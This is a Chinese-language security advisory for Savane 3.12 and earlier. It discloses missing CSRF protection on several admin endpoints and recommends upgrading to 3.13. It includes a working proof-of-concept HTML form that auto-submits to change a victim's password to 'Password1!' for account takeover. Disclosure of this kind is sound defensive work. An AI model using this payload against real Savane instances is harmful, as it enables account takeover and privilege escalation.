在Savane v3.12及之前版本中,管理功能缺乏CSRF保护可能导致权限提升和/或帐户接管。特别是,端点/siteadmin/usergroup.php包含更改其他用户密码和管理标志的功能,实际上允许攻击者使自己成为管理员。
其他易受CSRF攻击的端点包括:
/support/admin/userperms.php - 更改谁可以发布跟踪器的权限。/project/admin/conf-copy.php - 用另一组的配置覆盖现有组的配置。/project/admin/editgroupnotifications.php - 编辑组通知。私有项目可能会发送到公共邮件列表。/project/admin/useradmin.php - 从组中删除用户。/news/admin/index.php - 编辑新闻跟踪器电子邮件地址。/people/editjob.php - 为组添加工作。CWE分类: CWE-352: 跨站请求伪造 (CSRF)
报告者: Ally Petitt
受影响产品: Savane
受影响版本: 3.12及之前版本
这是一个用于更改其他用户帐户密码作为帐户接管途径的概念验证(PoC)。
/users/<username>)记下他们的用户ID。user_id替换为受害者的用户ID,将<savane_instance>替换为正确的域名/主机地址。<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">
<input name="form_pw" type="hidden" value="Password1!" />
<input name="form_pw2" type="hidden" value="Password1!" />
<input name="user_id" type="hidden" value="<user_id>" />
<input name="update" type="hidden" value="Update" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
Password1!登录受害者帐户。注意,此PoC脚本已在Firefox v103.0(64位)上测试。
升级到Savane 3.13或更高版本。补丁可以在这里找到。